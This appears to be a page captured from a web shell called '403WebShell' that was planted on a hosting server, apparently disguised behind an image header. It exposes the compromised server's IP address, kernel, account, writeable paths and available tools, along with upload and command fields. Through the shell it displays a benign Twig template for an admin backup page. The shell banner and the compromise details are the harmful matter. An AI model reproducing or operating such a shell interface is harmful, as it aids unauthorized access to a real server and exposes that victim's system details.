����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.191.31.198
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/views/admin/backup_manage.html.twig
{% extends "admin/partial/layout_logged_in.html.twig" %}

{% block title %}Manage Backups{% endblock %}
{% block selected_page %}configuration{% endblock %}
{% block selected_sub_page %}configuration{% endblock %}

{% block body %}
    <script>
        function createDatabaseBackup()
        {
            if (confirm("Are you sure you want to create a database backup?\n\nThis may take some time to complete, depending on the size of your database. Note that it will not backup 'disposible' data such as the session table data."))
            {
                $('#createDatabaseBackupButton').removeAttr('onClick');
                $('#createDatabaseBackupButton').removeAttr('href');
                $('#createCodeBackupButton').hide();
                $('#createDatabaseBackupButton').removeClass("blue");
                $('#createDatabaseBackupButton').addClass("grey");
                $('#createDatabaseBackupButton').text('Creating database backup, please wait...');
                window.location = 'backup_manage?cd=1';

                return true;
            }

            return false;
        }

        function createCodeBackup()
        {
            if (confirm("Are you sure you want to create a code backup?\n\nThis process zips up all your site code, any custom changes, config files and other script files you may have added. It will NOT backup any user uploaded files (within files/), you will need cover this via another process.\n\nThis backup may take some time to complete, depending on the size of your site."))
            {
                $('#createDatabaseBackupButton').removeAttr('onClick');
                $('#createDatabaseBackupButton').removeAttr('href');
                $('#createCodeBackupButton').hide();
                $('#createDatabaseBackupButton').removeClass("blue");
                $('#createDatabaseBackupButton').addClass("grey");
                $('#createDatabaseBackupButton').text('Creating code backup, please wait...');
                window.location = 'backup_manage?cc=1';

                return true;
            }

            return false;
        }

        function confirmDeleteBackup()
        {
            if (confirm("Are you sure you want to delete this backup from storage?"))
            {
                return true;
            }

            return false;
        }

        $(document).ready(function () {
            // datatable
            oTable = $('#backupTable').dataTable({
                "sPaginationType": "full_numbers",
                "bProcessing": true,
                "iDisplayLength": 25,
                "aaSorting": [[4, "desc"]],
                "aoColumns": [
                    {bSortable: false, sWidth: '3%', sName: 'file_icon', sClass: "center adminResponsiveHide"},
                    {sName: 'backup_name'},
                    {sName: 'backup_type', sWidth: '10%', sClass: "center adminResponsiveHide"},
                    {sName: 'backup_size', sWidth: '10%', sClass: "center adminResponsiveHide"},
                    {sName: 'backup_created', sWidth: '16%', sClass: "center"},
                    {bSortable: false, sWidth: '14%', sClass: "center adminResponsiveHide"}
                ],
                "fnDrawCallback": function (oSettings) {
                    postDatatableRender();
                },
                "oLanguage": {
                    "sEmptyTable": "There are no files in the current filters."
                },
                dom: "lBfrtip",
                buttons: [
                    {
                        extend: "copy",
                        className: "btn-sm"
                    },
                    {
                        extend: "csv",
                        className: "btn-sm"
                    },
                    {
                        extend: "excel",
                        className: "btn-sm"
                    },
                    {
                        extend: "pdfHtml5",
                        className: "btn-sm"
                    },
                    {
                        extend: "print",
                        className: "btn-sm"
                    }
                ]
            });
        });
    </script>

    <!-- page content -->
    <div class="right_col" role="main">
        <div class="">
            <div class="page-title">
                <div class="title_left">
                    <h3>{{ block('title') }}</h3>
                </div>
            </div>
            <div class="clearfix"></div>

            {{ msg_page_notifications|raw }}

            <div class="row">
                <div class="col-md-12 col-sm-12 col-xs-12">
                    <div class="x_panel">
                        <div class="x_title">
                            <h2>Backups</h2>
                            <div class="clearfix"></div>
                        </div>
                        <div class="x_content">
                            <p>Use this page to generate and download both database and site code backups. It is recommended you do this before any changes or upgrades to your site. It is not possible to backup any user uploaded files (within /files/), this would be better managed directly on the server using rsync or similar.</p>
                            <p>Note: All code backups exclude the /files/, /cache/ &amp; /logs/ folders. Database backups will exclude the contents of any 'disposable' tables such as 'sessions'.</p>
                            <br/>
                            {% if backupFiles|length == 0 %}
                                <strong>- Could not find any backups in the backups folder - {{ backupPath }}</strong>
                            {% else %}
                                <table id="backupTable" class="table table-striped table-only-border bulk_action">
                                    <thead><tr><th></th><th>Backup Name:</th><th>Type:</th><th>Size:</th><th>Created:</th><th>Options</th></tr></thead>
                                    <tbody>
                                        {% for backupFile in backupFiles %}
                                            {% set type = 'Code' %}
                                            {% if backupFile['filename']|slice(0, 8) == 'database' %}
                                                {% set type = 'Database' %}
                                            {% endif %}

                                            <tr>
                                                <td><img src="{{ CORE_ASSETS_ADMIN_WEB_ROOT }}/images/icons/backup/16px/{{ type|lower }}.png" alt="{{ type }}" style="width: 16px; height: 16px;"/></td>
                                                <td><a href="backup_download?path={{ backupFile['filename'] }}">{{ backupFile['filename'] }}</a></td>
                                                <td>{{ type }}</td>
                                                <td>{{ backupFile['filesize'] }}</td>
                                                <td>{{ backupFile['created'] }}</td>
                                                <td>
                                                    <div class="btn-group">
                                                        <a class="btn btn-default btn-sm" data-toggle="tooltip" data-placement="top" data-original-title="remove" href="backup_manage?delete_path={{ backupFile['filename'] }}" onClick="return confirmDeleteBackup();"><span class="fa fa-trash text-danger" aria-hidden="true"></span></a>
                                                        <a class="btn btn-default btn-sm" data-toggle="tooltip" data-placement="top" data-original-title="download" href="backup_download?path={{ backupFile['filename'] }}"><span class="fa fa-download" aria-hidden="true"></span></a>
                                                    </div>
                                                </td>
                                            </tr>
                                        {% endfor %}
                                    </tbody>
                                </table>
                                <br/><br/><br/>
                                <p>Backup Storage Path:&nbsp;&nbsp;{{ backupPath }} </p>
                            {% endif %}
                        </div>
                    </div>

                    <div class="x_panel">
                        <a href="#" onClick="return createDatabaseBackup();" id="createDatabaseBackupButton" class="btn btn-primary">{{ t('backup_manage_create_database', 'Create Database Backup') }}</a>&nbsp;
                        <a href="#" onClick="return createCodeBackup();" id="createCodeBackupButton" class="btn btn-primary">{{ t('backup_manage_create_code_backup', 'Create Code Backup') }}</a>
                    </div>

                </div>
            </div>
        </div>
    </div>
{% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit